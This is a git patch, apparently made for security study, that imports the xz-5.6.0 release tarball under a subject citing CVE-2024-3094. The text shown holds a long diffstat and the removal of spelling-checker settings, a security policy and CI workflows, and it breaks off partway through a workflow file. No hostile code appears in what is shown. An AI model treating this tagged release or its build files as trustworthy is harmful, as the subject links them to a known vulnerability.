From 90d131d57c9d443da74548626fe9372975831726 Mon Sep 17 00:00:00 2001 From: Bertrand Jacquin Date: Fri, 29 Mar 2024 19:53:25 +0000 Subject: CVE-2024-3094: import xz-5.6.0.tar.xz --- .codespellrc | 24 - .github/SECURITY.md | 29 - .github/workflows/ci.yml | 160 - .github/workflows/windows-ci.yml | 124 - ABOUT-NLS | 1 + ChangeLog | 9767 +++++++- Makefile.in | 1096 + aclocal.m4 | 1196 + build-aux/ci_build.sh | 287 - build-aux/compile | 348 + build-aux/config.guess | 1754 ++ build-aux/config.rpath | 684 + build-aux/config.sub | 1890 ++ build-aux/depcomp | 791 + build-aux/install-sh | 541 + build-aux/ltmain.sh | 11437 +++++++++ build-aux/missing | 215 + build-aux/test-driver | 153 + config.h.in | 639 + configure | 25722 ++++++++++++++++++++ debug/Makefile.in | 736 + doc/api/COPYING.CC-BY-SA-4.0 | 427 + doc/api/annotated.html | 74 + doc/api/base_8h.html | 586 + doc/api/bc_s.png | Bin 0 -> 675 bytes doc/api/bc_sd.png | Bin 0 -> 604 bytes doc/api/bcj_8h.html | 115 + doc/api/block_8h.html | 764 + doc/api/check_8h.html | 346 + doc/api/classes.html | 66 + doc/api/closed.png | Bin 0 -> 132 bytes doc/api/container_8h.html | 1317 + doc/api/delta_8h.html | 138 + doc/api/dir_b17a1d403082bd69a703ed987cf158fb.html | 110 + doc/api/doc.svg | 12 + doc/api/docd.svg | 12 + doc/api/doxygen.css | 2017 ++ doc/api/doxygen.svg | 28 + doc/api/files.html | 80 + doc/api/filter_8h.html | 1348 + doc/api/folderclosed.svg | 11 + doc/api/folderclosedd.svg | 11 + doc/api/folderopen.svg | 17 + doc/api/folderopend.svg | 12 + doc/api/functions.html | 216 + doc/api/functions_vars.html | 216 + doc/api/globals.html | 284 + doc/api/globals_defs.html | 130 + doc/api/globals_enum.html | 77 + doc/api/globals_eval.html | 109 + doc/api/globals_func.html | 184 + doc/api/globals_type.html | 74 + doc/api/hardware_8h.html | 129 + doc/api/index.html | 60 + doc/api/index_8h.html | 1311 + doc/api/index__hash_8h.html | 317 + doc/api/lzma12_8h.html | 442 + doc/api/lzma_8h.html | 115 + doc/api/nav_f.png | Bin 0 -> 167 bytes doc/api/nav_fd.png | Bin 0 -> 144 bytes doc/api/nav_g.png | Bin 0 -> 95 bytes doc/api/nav_h.png | Bin 0 -> 97 bytes doc/api/nav_hd.png | Bin 0 -> 104 bytes doc/api/open.png | Bin 0 -> 121 bytes doc/api/splitbar.png | Bin 0 -> 309 bytes doc/api/splitbard.png | Bin 0 -> 278 bytes doc/api/stream__flags_8h.html | 354 + doc/api/structlzma__allocator.html | 159 + doc/api/structlzma__block.html | 353 + doc/api/structlzma__filter.html | 120 + doc/api/structlzma__index__iter.html | 413 + doc/api/structlzma__mt.html | 262 + doc/api/structlzma__options__bcj.html | 101 + doc/api/structlzma__options__delta.html | 119 + doc/api/structlzma__options__lzma.html | 369 + doc/api/structlzma__stream.html | 257 + doc/api/structlzma__stream__flags.html | 140 + doc/api/sync_off.png | Bin 0 -> 857 bytes doc/api/sync_on.png | Bin 0 -> 851 bytes doc/api/tab_a.png | Bin 0 -> 135 bytes doc/api/tab_ad.png | Bin 0 -> 133 bytes doc/api/tab_b.png | Bin 0 -> 178 bytes doc/api/tab_bd.png | Bin 0 -> 157 bytes doc/api/tab_h.png | Bin 0 -> 179 bytes doc/api/tab_hd.png | Bin 0 -> 168 bytes doc/api/tab_s.png | Bin 0 -> 208 bytes doc/api/tab_sd.png | Bin 0 -> 171 bytes doc/api/tabs.css | 62 + doc/api/version_8h.html | 245 + doc/api/vli_8h.html | 329 + doc/api/xz-logo.png | Bin 0 -> 6771 bytes doc/man/pdf-a4/lzmainfo-a4.pdf | Bin 0 -> 16384 bytes doc/man/pdf-a4/xz-a4.pdf | Bin 0 -> 119480 bytes doc/man/pdf-a4/xzdec-a4.pdf | Bin 0 -> 19927 bytes doc/man/pdf-a4/xzdiff-a4.pdf | Bin 0 -> 17124 bytes doc/man/pdf-a4/xzgrep-a4.pdf | Bin 0 -> 20371 bytes doc/man/pdf-a4/xzless-a4.pdf | Bin 0 -> 14933 bytes doc/man/pdf-a4/xzmore-a4.pdf | Bin 0 -> 14809 bytes doc/man/pdf-letter/lzmainfo-letter.pdf | Bin 0 -> 16394 bytes doc/man/pdf-letter/xz-letter.pdf | Bin 0 -> 120992 bytes doc/man/pdf-letter/xzdec-letter.pdf | Bin 0 -> 19919 bytes doc/man/pdf-letter/xzdiff-letter.pdf | Bin 0 -> 17102 bytes doc/man/pdf-letter/xzgrep-letter.pdf | Bin 0 -> 20313 bytes doc/man/pdf-letter/xzless-letter.pdf | Bin 0 -> 14951 bytes doc/man/pdf-letter/xzmore-letter.pdf | Bin 0 -> 14814 bytes doc/man/txt/lzmainfo.txt | 40 + doc/man/txt/xz.txt | 1682 ++ doc/man/txt/xzdec.txt | 80 + doc/man/txt/xzdiff.txt | 42 + doc/man/txt/xzgrep.txt | 73 + doc/man/txt/xzless.txt | 40 + doc/man/txt/xzmore.txt | 35 + lib/Makefile.in | 611 + m4/build-to-host.m4 | 106 + m4/gettext.m4 | 405 + m4/host-cpu-c-abi.m4 | 679 + m4/iconv.m4 | 293 + m4/intlmacosx.m4 | 69 + m4/lib-ld.m4 | 168 + m4/lib-link.m4 | 813 + m4/lib-prefix.m4 | 323 + m4/libtool.m4 | 8399 +++++++ m4/ltoptions.m4 | 437 + m4/ltsugar.m4 | 124 + m4/ltversion.m4 | 24 + m4/lt~obsolete.m4 | 99 + m4/nls.m4 | 32 + m4/po.m4 | 454 + m4/progtest.m4 | 91 + po/Makefile.in.in | 514 + po/Rules-quot | 62 + po/boldquot.sed | 10 + po/ca.gmo | Bin 0 -> 22289 bytes po/ca.po | 557 +- po/cs.gmo | Bin 0 -> 15436 bytes po/cs.po | 813 +- po/da.gmo | Bin 0 -> 11042 bytes po/da.po | 797 +- po/de.gmo | Bin 0 -> 32560 bytes po/de.po | 179 +- po/en@boldquot.header | 25 + po/en@quot.header | 22 + po/eo.gmo | Bin 0 -> 29979 bytes po/eo.po | 179 +- po/es.gmo | Bin 0 -> 31175 bytes po/es.po | 179 +- po/fi.gmo | Bin 0 -> 21441 bytes po/fi.po | 572 +- po/fr.gmo | Bin 0 -> 19342 bytes po/fr.po | 524 +- po/hr.gmo | Bin 0 -> 30343 bytes po/hr.po | 179 +- po/hu.gmo | Bin 0 -> 31658 bytes po/hu.po | 179 +- po/insert-header.sin | 28 + po/it.gmo | Bin 0 -> 19130 bytes po/it.po | 842 +- po/ko.gmo | Bin 0 -> 31480 bytes po/ko.po | 179 +- po/pl.gmo | Bin 0 -> 30611 bytes po/pl.po | 179 +- po/pt.gmo | Bin 0 -> 18992 bytes po/pt.po | 834 +- po/pt_BR.gmo | Bin 0 -> 22302 bytes po/pt_BR.po | 553 +- po/quot.sed | 6 + po/remove-potcdate.sin | 25 + po/ro.gmo | Bin 0 -> 32640 bytes po/ro.po | 179 +- po/sr.gmo | Bin 0 -> 23849 bytes po/sr.po | 830 +- po/stamp-po | 1 + po/sv.gmo | Bin 0 -> 30379 bytes po/sv.po | 179 +- po/tr.gmo | Bin 0 -> 22029 bytes po/tr.po | 557 +- po/uk.gmo | Bin 0 -> 40332 bytes po/uk.po | 179 +- po/vi.gmo | Bin 0 -> 32859 bytes po/vi.po | 179 +- po/xz.pot | 1020 + po/zh_CN.gmo | Bin 0 -> 22476 bytes po/zh_CN.po | 421 +- po/zh_TW.gmo | Bin 0 -> 20613 bytes po/zh_TW.po | 544 +- po4a/de.po.authors | 4 + po4a/fr.po | 244 +- po4a/fr.po.authors | 6 + po4a/ko.po.authors | 4 + po4a/man/de/lzmainfo.1 | 46 + po4a/man/de/xz.1 | 2047 ++ po4a/man/de/xzdec.1 | 88 + po4a/man/de/xzdiff.1 | 58 + po4a/man/de/xzgrep.1 | 96 + po4a/man/de/xzless.1 | 49 + po4a/man/de/xzmore.1 | 49 + po4a/man/fr/lzmainfo.1 | 47 + po4a/man/fr/xz.1 | 1962 ++ po4a/man/fr/xzdec.1 | 90 + po4a/man/fr/xzless.1 | 49 + po4a/man/ko/lzmainfo.1 | 38 + po4a/man/ko/xz.1 | 1525 ++ po4a/man/ko/xzdec.1 | 72 + po4a/man/ko/xzdiff.1 | 51 + po4a/man/ko/xzgrep.1 | 84 + po4a/man/ko/xzless.1 | 41 + po4a/man/ko/xzmore.1 | 42 + po4a/man/pt_BR/lzmainfo.1 | 45 + po4a/man/pt_BR/xz.1 | 1928 ++ po4a/man/pt_BR/xzdec.1 | 87 + po4a/man/pt_BR/xzless.1 | 48 + po4a/man/ro/lzmainfo.1 | 54 + po4a/man/ro/xz.1 | 2037 ++ po4a/man/ro/xzdec.1 | 98 + po4a/man/ro/xzdiff.1 | 66 + po4a/man/ro/xzgrep.1 | 103 + po4a/man/ro/xzless.1 | 57 + po4a/man/ro/xzmore.1 | 57 + po4a/man/uk/lzmainfo.1 | 45 + po4a/man/uk/xz.1 | 1969 ++ po4a/man/uk/xzdec.1 | 85 + po4a/man/uk/xzdiff.1 | 55 + po4a/man/uk/xzgrep.1 | 95 + po4a/man/uk/xzless.1 | 48 + po4a/man/uk/xzmore.1 | 48 + po4a/pt_BR.po | 213 +- po4a/pt_BR.po.authors | 5 + po4a/ro.po.authors | 13 + po4a/uk.po.authors | 4 + po4a/xz-man.pot | 4905 ++++ src/Makefile.in | 697 + src/liblzma/Makefile.in | 2252 ++ src/liblzma/api/Makefile.in | 631 + src/lzmainfo/Makefile.in | 867 + src/scripts/Makefile.in | 701 + src/xz/Makefile.in | 1183 + src/xzdec/Makefile.in | 970 + tests/Makefile.in | 1379 ++ tests/code_coverage.sh | 77 - 239 files changed, 121685 insertions(+), 4506 deletions(-) delete mode 100644 .codespellrc delete mode 100644 .github/SECURITY.md delete mode 100644 .github/workflows/ci.yml delete mode 100644 .github/workflows/windows-ci.yml create mode 100644 ABOUT-NLS create mode 100644 Makefile.in create mode 100644 aclocal.m4 delete mode 100755 build-aux/ci_build.sh create mode 100755 build-aux/compile create mode 100755 build-aux/config.guess create mode 100755 build-aux/config.rpath create mode 100755 build-aux/config.sub create mode 100755 build-aux/depcomp create mode 100755 build-aux/install-sh create mode 100644 build-aux/ltmain.sh create mode 100755 build-aux/missing create mode 100755 build-aux/test-driver create mode 100644 config.h.in create mode 100755 configure create mode 100644 debug/Makefile.in create mode 100644 doc/api/COPYING.CC-BY-SA-4.0 create mode 100644 doc/api/annotated.html create mode 100644 doc/api/base_8h.html create mode 100644 doc/api/bc_s.png create mode 100644 doc/api/bc_sd.png create mode 100644 doc/api/bcj_8h.html create mode 100644 doc/api/block_8h.html create mode 100644 doc/api/check_8h.html create mode 100644 doc/api/classes.html create mode 100644 doc/api/closed.png create mode 100644 doc/api/container_8h.html create mode 100644 doc/api/delta_8h.html create mode 100644 doc/api/dir_b17a1d403082bd69a703ed987cf158fb.html create mode 100644 doc/api/doc.svg create mode 100644 doc/api/docd.svg create mode 100644 doc/api/doxygen.css create mode 100644 doc/api/doxygen.svg create mode 100644 doc/api/files.html create mode 100644 doc/api/filter_8h.html create mode 100644 doc/api/folderclosed.svg create mode 100644 doc/api/folderclosedd.svg create mode 100644 doc/api/folderopen.svg create mode 100644 doc/api/folderopend.svg create mode 100644 doc/api/functions.html create mode 100644 doc/api/functions_vars.html create mode 100644 doc/api/globals.html create mode 100644 doc/api/globals_defs.html create mode 100644 doc/api/globals_enum.html create mode 100644 doc/api/globals_eval.html create mode 100644 doc/api/globals_func.html create mode 100644 doc/api/globals_type.html create mode 100644 doc/api/hardware_8h.html create mode 100644 doc/api/index.html create mode 100644 doc/api/index_8h.html create mode 100644 doc/api/index__hash_8h.html create mode 100644 doc/api/lzma12_8h.html create mode 100644 doc/api/lzma_8h.html create mode 100644 doc/api/nav_f.png create mode 100644 doc/api/nav_fd.png create mode 100644 doc/api/nav_g.png create mode 100644 doc/api/nav_h.png create mode 100644 doc/api/nav_hd.png create mode 100644 doc/api/open.png create mode 100644 doc/api/splitbar.png create mode 100644 doc/api/splitbard.png create mode 100644 doc/api/stream__flags_8h.html create mode 100644 doc/api/structlzma__allocator.html create mode 100644 doc/api/structlzma__block.html create mode 100644 doc/api/structlzma__filter.html create mode 100644 doc/api/structlzma__index__iter.html create mode 100644 doc/api/structlzma__mt.html create mode 100644 doc/api/structlzma__options__bcj.html create mode 100644 doc/api/structlzma__options__delta.html create mode 100644 doc/api/structlzma__options__lzma.html create mode 100644 doc/api/structlzma__stream.html create mode 100644 doc/api/structlzma__stream__flags.html create mode 100644 doc/api/sync_off.png create mode 100644 doc/api/sync_on.png create mode 100644 doc/api/tab_a.png create mode 100644 doc/api/tab_ad.png create mode 100644 doc/api/tab_b.png create mode 100644 doc/api/tab_bd.png create mode 100644 doc/api/tab_h.png create mode 100644 doc/api/tab_hd.png create mode 100644 doc/api/tab_s.png create mode 100644 doc/api/tab_sd.png create mode 100644 doc/api/tabs.css create mode 100644 doc/api/version_8h.html create mode 100644 doc/api/vli_8h.html create mode 100644 doc/api/xz-logo.png create mode 100644 doc/man/pdf-a4/lzmainfo-a4.pdf create mode 100644 doc/man/pdf-a4/xz-a4.pdf create mode 100644 doc/man/pdf-a4/xzdec-a4.pdf create mode 100644 doc/man/pdf-a4/xzdiff-a4.pdf create mode 100644 doc/man/pdf-a4/xzgrep-a4.pdf create mode 100644 doc/man/pdf-a4/xzless-a4.pdf create mode 100644 doc/man/pdf-a4/xzmore-a4.pdf create mode 100644 doc/man/pdf-letter/lzmainfo-letter.pdf create mode 100644 doc/man/pdf-letter/xz-letter.pdf create mode 100644 doc/man/pdf-letter/xzdec-letter.pdf create mode 100644 doc/man/pdf-letter/xzdiff-letter.pdf create mode 100644 doc/man/pdf-letter/xzgrep-letter.pdf create mode 100644 doc/man/pdf-letter/xzless-letter.pdf create mode 100644 doc/man/pdf-letter/xzmore-letter.pdf create mode 100644 doc/man/txt/lzmainfo.txt create mode 100644 doc/man/txt/xz.txt create mode 100644 doc/man/txt/xzdec.txt create mode 100644 doc/man/txt/xzdiff.txt create mode 100644 doc/man/txt/xzgrep.txt create mode 100644 doc/man/txt/xzless.txt create mode 100644 doc/man/txt/xzmore.txt create mode 100644 lib/Makefile.in create mode 100644 m4/build-to-host.m4 create mode 100644 m4/gettext.m4 create mode 100644 m4/host-cpu-c-abi.m4 create mode 100644 m4/iconv.m4 create mode 100644 m4/intlmacosx.m4 create mode 100644 m4/lib-ld.m4 create mode 100644 m4/lib-link.m4 create mode 100644 m4/lib-prefix.m4 create mode 100644 m4/libtool.m4 create mode 100644 m4/ltoptions.m4 create mode 100644 m4/ltsugar.m4 create mode 100644 m4/ltversion.m4 create mode 100644 m4/lt~obsolete.m4 create mode 100644 m4/nls.m4 create mode 100644 m4/po.m4 create mode 100644 m4/progtest.m4 create mode 100644 po/Makefile.in.in create mode 100644 po/Rules-quot create mode 100644 po/boldquot.sed create mode 100644 po/ca.gmo create mode 100644 po/cs.gmo create mode 100644 po/da.gmo create mode 100644 po/de.gmo create mode 100644 po/en@boldquot.header create mode 100644 po/en@quot.header create mode 100644 po/eo.gmo create mode 100644 po/es.gmo create mode 100644 po/fi.gmo create mode 100644 po/fr.gmo create mode 100644 po/hr.gmo create mode 100644 po/hu.gmo create mode 100644 po/insert-header.sin create mode 100644 po/it.gmo create mode 100644 po/ko.gmo create mode 100644 po/pl.gmo create mode 100644 po/pt.gmo create mode 100644 po/pt_BR.gmo create mode 100644 po/quot.sed create mode 100644 po/remove-potcdate.sin create mode 100644 po/ro.gmo create mode 100644 po/sr.gmo create mode 100644 po/stamp-po create mode 100644 po/sv.gmo create mode 100644 po/tr.gmo create mode 100644 po/uk.gmo create mode 100644 po/vi.gmo create mode 100644 po/xz.pot create mode 100644 po/zh_CN.gmo create mode 100644 po/zh_TW.gmo create mode 100644 po4a/de.po.authors create mode 100644 po4a/fr.po.authors create mode 100644 po4a/ko.po.authors create mode 100644 po4a/man/de/lzmainfo.1 create mode 100644 po4a/man/de/xz.1 create mode 100644 po4a/man/de/xzdec.1 create mode 100644 po4a/man/de/xzdiff.1 create mode 100644 po4a/man/de/xzgrep.1 create mode 100644 po4a/man/de/xzless.1 create mode 100644 po4a/man/de/xzmore.1 create mode 100644 po4a/man/fr/lzmainfo.1 create mode 100644 po4a/man/fr/xz.1 create mode 100644 po4a/man/fr/xzdec.1 create mode 100644 po4a/man/fr/xzless.1 create mode 100644 po4a/man/ko/lzmainfo.1 create mode 100644 po4a/man/ko/xz.1 create mode 100644 po4a/man/ko/xzdec.1 create mode 100644 po4a/man/ko/xzdiff.1 create mode 100644 po4a/man/ko/xzgrep.1 create mode 100644 po4a/man/ko/xzless.1 create mode 100644 po4a/man/ko/xzmore.1 create mode 100644 po4a/man/pt_BR/lzmainfo.1 create mode 100644 po4a/man/pt_BR/xz.1 create mode 100644 po4a/man/pt_BR/xzdec.1 create mode 100644 po4a/man/pt_BR/xzless.1 create mode 100644 po4a/man/ro/lzmainfo.1 create mode 100644 po4a/man/ro/xz.1 create mode 100644 po4a/man/ro/xzdec.1 create mode 100644 po4a/man/ro/xzdiff.1 create mode 100644 po4a/man/ro/xzgrep.1 create mode 100644 po4a/man/ro/xzless.1 create mode 100644 po4a/man/ro/xzmore.1 create mode 100644 po4a/man/uk/lzmainfo.1 create mode 100644 po4a/man/uk/xz.1 create mode 100644 po4a/man/uk/xzdec.1 create mode 100644 po4a/man/uk/xzdiff.1 create mode 100644 po4a/man/uk/xzgrep.1 create mode 100644 po4a/man/uk/xzless.1 create mode 100644 po4a/man/uk/xzmore.1 create mode 100644 po4a/pt_BR.po.authors create mode 100644 po4a/ro.po.authors create mode 100644 po4a/uk.po.authors create mode 100644 po4a/xz-man.pot create mode 100644 src/Makefile.in create mode 100644 src/liblzma/Makefile.in create mode 100644 src/liblzma/api/Makefile.in create mode 100644 src/lzmainfo/Makefile.in create mode 100644 src/scripts/Makefile.in create mode 100644 src/xz/Makefile.in create mode 100644 src/xzdec/Makefile.in create mode 100644 tests/Makefile.in delete mode 100755 tests/code_coverage.sh diff --git a/.codespellrc b/.codespellrc deleted file mode 100644 index b2c11346..00000000 --- a/.codespellrc +++ /dev/null @@ -1,24 +0,0 @@ -[codespell] - -# Skip all translation files and a few other autogenerated files. -# The autotool files should have their typos fixed in the upstream, but -# until then we will blacklist them here. -skip = *.po,*.pot,./po4a/man,./doc/api,./configure,./autom4te.cache,./m4/libtool.m4,./build-aux/depcomp,./build-aux/ltmain.sh,./build-aux/config.guess,./build-aux/config.rpath,./m4/po.m4,./build-aux/config.sub - -# Ignore false positive matching words. Ideally codespell would allow -# ignoring words for specific files, but that does not appear to be -# supported. Instead we need to hope we do not make these typos. -# Additionally, the ignored words must be specified lower-case even though -# some of the false positives only occurred upper-case. -# ANS - used as a variable name in xzmore.in. -# bu - groff syntax for creating a bullet list item, used in xz.1. -# te - groff syntax, used in xz.1. -# caf - command line options for tar example, used in xz.1. -ignore-words-list = ans,bu,te,caf - -# Add extra dictionaries to help improvement comments, docs, etc. -builtin = clear,rare,informal,usage,names - -# Always default to highest interactive level to avoid accidentally -# changing a false positive or picking the wrong replacement. -interactive = 3 diff --git a/.github/SECURITY.md b/.github/SECURITY.md deleted file mode 100644 index e9b3458a..00000000 --- a/.github/SECURITY.md +++ /dev/null @@ -1,29 +0,0 @@ -# Security Policy - -## Supported Versions - -We provide security updates to the development branch and the stable -branches. Security patches for old releases are available on the -[project website](https://xz.tukaani.org/xz-utils/). - -## Reporting a Vulnerability - -If you discover a security vulnerability in this project, please -report it privately. **Do not disclose it as a public issue.** This gives -us time to work with you to fix the issue before public exposure, reducing -the chance that the exploit will be used before a patch is released. - -You may submit a report by emailing us at -[xz@tukaani.org](mailto:xz@tukaani.org), or through -[Security Advisories](https://github.com/tukaani-project/xz/security/advisories/new). -While both options are available, we prefer email. In any case, please -provide a clear description of the vulnerability including: - -- Affected versions of XZ Utils -- Estimated severity (low, moderate, high, critical) -- Steps to recreate the vulnerability -- All relevant files (core dumps, build logs, input files, etc.) - -This project is maintained by a team of volunteers on a reasonable-effort -basis. As such, please give us 90 days to work on a fix before -public exposure. diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml deleted file mode 100644 index 95fa5af6..00000000 --- a/.github/workflows/ci.yml +++ /dev/null @@ -1,160 +0,0 @@ -# SPDX-License-Identifier: 0BSD - -############################################################################# -# -# Author: Jia Tan -# -############################################################################# - -name: CI - -on: - # Triggers the workflow on push or pull request events but only for the master branch - push: - branches: [ master ] - pull_request: - branches: [ master ] - - # Allows running workflow manually - workflow_dispatch: - -jobs: - POSIX: - strategy: - matrix: - os: [ubuntu-latest, macos-latest] - build_system: [autotools, cmake] - runs-on: ${{ matrix.os }} - steps: - - uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 #v4.1.0 - - ######################## - # Install Dependencies # - ######################## - - # Install Autotools on Linux - - name: Install Dependencies - if: ${{ matrix.os == 'ubuntu-latest' && matrix.build_system == 'autotools' }} - run: | - sudo apt-get update - sudo apt-get install -y autoconf automake build-essential po4a autopoint gcc-multilib doxygen musl-tools - - # Install Autotools on Mac - - name: Install Dependencies - if: ${{ matrix.os == 'macos-latest' && matrix.build_system == 'autotools' }} - run: brew install autoconf automake libtool po4a doxygen - - # Install CMake on Linux - - name: Install Dependencies - if: ${{ matrix.os == 'ubuntu-latest' && matrix.build_system == 'cmake' }} - run: | - sudo apt-get update - sudo apt-get install -y build-essential cmake musl-tools - - # Install CMake on Mac - - name: Install Dependencies - if: ${{ matrix.os == 'macos-latest' && matrix.build_system == 'cmake' }} - run: brew install cmake - - ################## - # Build and Test # - ################## - - # -b specifies the build system to use. - # -p specifies the phase (build or test) to help narrow down an error - # if one occurs. - # - # The first two builds/tests are only run on Autotools Linux and - # affect the CFLAGS. Resetting the CFLAGS requires clearing the - # config cache between runs, so the tests that require CFLAGS are - # done first. - - name: Build 32-bit - if: ${{ matrix.os == 'ubuntu-latest' && matrix.build_system == 'autotools' }} - run: ./build-aux/ci_build.sh -b autotools -p build -f "-m32" - - name: Test 32-bit - if: ${{ matrix.os == 'ubuntu-latest' && matrix.build_system == 'autotools' }} - run: | - ./build-aux/ci_build.sh -b autotools -p test -f "-m32" -n 32_bit - cd ../xz_build && make distclean - - # ifunc must be disabled for this test because __attribute__ ifunc is - # incompatible with -fsanitize=address. - # - # The sandbox must also be disabled because it will prevent access to - # the /proc/ filesystem on Linux, which is used by the sanitizer's - # instrumentation. - - name: Build with -fsanitize=address,undefined - if: ${{ matrix.os == 'ubuntu-latest' && matrix.build_system == 'autotools' }} - run: ./build-aux/ci_build.sh -b autotools -p build -f "-fsanitize=address,undefined" -d ifunc,sandbox - - name: Test with -fsanitize=address,undefined - if: ${{ matrix.os == 'ubuntu-latest' && matrix.build_system == 'autotools' }} - run: | - ./build-aux/ci_build.sh -b autotools -p test -f "-fsanitize=address,undefined" -d ifunc,sandbox - cd ../xz_build && make distclean - - # musl libc has some slight differences compared to glibc, including - # the lack of ifunc support. This tests if the ifunc detection - # functions properly since musl-gcc can compile with ifunc support, - # but will fail at runtime. - - name: Build with musl libc - if: ${{ matrix.os == 'ubuntu-latest'}} - run: ./build-aux/ci_build.sh -b ${{ matrix.build_system }} -p build -m "/usr/bin/musl-gcc" - - name: Test with musl libc - if: ${{ matrix.os == 'ubuntu-latest'}} - run: | - ./build-aux/ci_build.sh -b ${{ matrix.build_system }} -p test -m "/usr/bin/musl-gcc" - - name: Clean up musl libc run - if: ${{ matrix.os == 'ubuntu-latest' && matrix.build_system == 'autotools' }} - run: cd ../xz_build && make distclean - - - name: Build with full features - run: ./build-aux/ci_build.sh -b ${{ matrix.build_system }} -p build - - name: Test with full features - run: ./build-aux/ci_build.sh -b ${{ matrix.build_system }} -p test -n full_features - - - name: Build without encoders - run: ./build-aux/ci_build.sh -b ${{ matrix.build_system }} -d encoders,shared -p build - - name: Test without encoders - run: ./build-aux/ci_build.sh -b ${{ matrix.build_system }} -d encoders,shared -p test -n no_encoders - - - name: Build without decoders - run: ./build-aux/ci_build.sh -b ${{ matrix.build_system }} -d decoders,shared -p build - - name: Test without decoders - run: ./build-aux/ci_build.sh -b ${{ matrix.build_system }} -d decoders,shared -p test -n no_decoders - - - name: Build without threads - run: ./build-aux/ci_build.sh -b ${{ matrix.build_system }} -d threads,shared -p build - - name: Test without threads - run: ./build-aux/ci_build.sh -b ${{ matrix.build_system }} -d threads,shared -p test -n no_threads - - - name: Build without BCJ filters - run: ./build-aux/ci_build.sh -b ${{ matrix.build_system }} -d bcj,shared,nls -p build - - name: Test without BCJ filters - run: ./build-aux/ci_build.sh -b ${{ matrix.build_system }} -d bcj,shared,nls -p test -n no_bcj - - - name: Build without Delta filters - run: ./build-aux/ci_build.sh -b ${{ matrix.build_system }} -d delta,shared,nls -p build - - name: Test without Delta filters - run: ./build-aux/ci_build.sh -b ${{ matrix.build_system }} -d delta,shared,nls -p test -n no_delta - - - name: Build without sha256 check - run: ./build-aux/ci_build.sh -b ${{ matrix.build_system }} -c crc32,crc64 -d shared,nls -p build - - name: Test without sha256 check - run: ./build-aux/ci_build.sh -b ${{ matrix.build_system }} -c crc32,crc64 -d shared,nls -p test -n no_sha256 - - - name: Build without crc64 check - run: ./build-aux/ci_build.sh -b ${{ matrix.build_system }} -c crc32,sha256 -d shared,nls -p build - - name: Test without crc64 check - run: ./build-aux/ci_build.sh -b ${{ matrix.build_system }} -c crc32,sha256 -d shared,nls -p test -n no_crc64 - - - name: Build small - run: ./build-aux/ci_build.sh -b ${{ matrix.build_system }} -d small -p build - - name: Test small - run: ./build-aux/ci_build.sh -b ${{ matrix.build_system }} -d small -p test -n small - - # Attempt to upload the test logs as artifacts if any step has failed - - uses: actions/upload-artifact@c7d193f32edcb7bfad88892161225aeda64e9392 #v4.0.0 - if: ${{ failure() }} - with: - name: ${{ matrix.os }} ${{ matrix.build_system }} Test Logs - path: build-aux/artifacts diff --git a/.github/workflows/windows-ci.yml b/.github/workflows/windows-ci.yml deleted file mode 100644 index 7285a78f..00000000 --- a/.github/workflows/windows-ci.yml +++ /dev/null @@ -1,124 +0,0 @@ -# SPDX-License-Identifier: 0BSD - -############################################################################# -# -# Author: Jia Tan -# -############################################################################# - -name: Windows-CI - -# Only run the Windows CI manually since it takes much longer than the others. -on: workflow_dispatch - -jobs: - POSIX: - strategy: - matrix: - # Test different environments since the code may change between - # them and we want to ensure that we support all potential users. - # clang64 builds are currently broken when building static libraries - # due to a bug in ldd search path: - # https://github.com/llvm/llvm-project/issues/67779 - # TODO - re-enable clang64 when this is resolved. - msys2_env: [mingw64, mingw32, ucrt64, msys] - build_system: [autotools, cmake] - - # Set the shell to be msys2 as a default to avoid setting it for - # every individual run command. - defaults: - run: - shell: msys2 {0} - - runs-on: windows-latest - - steps: - ##################### - # Setup Environment # - ##################### - - # Rely on the msys2 GitHub Action to set up the msys2 environment. - - name: Setup MSYS2 - uses: msys2/setup-msys2@27b3aa77f672cb6b3054121cfd80c3d22ceebb1d #v2.20.1 - with: - msystem: ${{ matrix.msys2_env }} - update: true - install: pactoys make - - - name: Checkout code - # Need to explicitly set the shell here since we set the default - # shell as msys2 earlier. This avoids an extra msys2 dependency on - # git. - shell: powershell - # Avoid Windows line endings. Otherwise test_scripts.sh will fail - # because the expected output is stored in the test framework as a - # text file and will not match the output from xzgrep. - run: git config --global core.autocrlf false - - - uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 #v4.1.0 - - - ######################## - # Install Dependencies # - ######################## - - # The pacman repository has a different naming scheme for default - # msys packages than the others. The pacboy tool allows installing - # the packages possible in matrix setup without a burdensome amount - # of ifs. - - name: Install Dependencies - if: ${{ matrix.msys2_env == 'msys' && matrix.build_system == 'autotools' }} - run: pacman --noconfirm -S --needed autotools base-devel doxygen gettext-devel gcc - - - name: Install Dependencies - if: ${{ matrix.msys2_env != 'msys' && matrix.build_system == 'autotools' }} - run: pacboy --noconfirm -S --needed autotools:p toolchain:p doxygen:p - - - name: Install Dependencies - if: ${{ matrix.msys2_env == 'msys' && matrix.build_system == 'cmake' }} - run: pacman --noconfirm -S --needed cmake base-devel gcc - - - name: Install Dependencies - if: ${{ matrix.msys2_env != 'msys' && matrix.build_system == 'cmake' }} - run: pacboy --noconfirm -S --needed cmake:p toolchain:p - - ################## - # Build and Test # - ################## - - - name: Build with full features - run: ./build-aux/ci_build.sh -a "--no-po4a" -b ${{ matrix.build_system }} -p build - - name: Test with full features - run: ./build-aux/ci_build.sh -a "--no-po4a" -b ${{ matrix.build_system }} -p test -n full_features - - - name: Build without threads - run: ./build-aux/ci_build.sh -a "--no-po4a" -b ${{ matrix.build_system }} -d threads,shared -p build - - name: Test without threads - run: ./build-aux/ci_build.sh -a "--no-po4a" -b ${{ matrix.build_system }} -d threads,shared -p test -n no_threads - - - name: Build without encoders - run: ./build-aux/ci_build.sh -a "--no-po4a" -b ${{ matrix.build_system }} -d encoders,shared -p build - - name: Test without encoders - run: ./build-aux/ci_build.sh -a "--no-po4a" -b ${{ matrix.build_system }} -d encoders,shared -p test -n no_encoders - - - name: Build without decoders - run: ./build-aux/ci_build.sh -a "--no-po4a" -b ${{ matrix.build_system }} -d decoders,shared -p build - - name: Test without decoders - run: ./build-aux/ci_build.sh -a "--no-po4a" -b ${{ matrix.build_system }} -d decoders,shared -p test -n no_decoders - - - name: Build with only crc32 check - run: ./build-aux/ci_build.sh -a "--no-po4a" -b ${{ matrix.build_system }} -c crc32 -d shared,nls -p build - - name: Test with only crc32 check - run: ./build-aux/ci_build.sh -a "--no-po4a" -b ${{ matrix.build_system }} -c crc32 -d shared,nls -p test -n crc32_only - - - ############### - # Upload 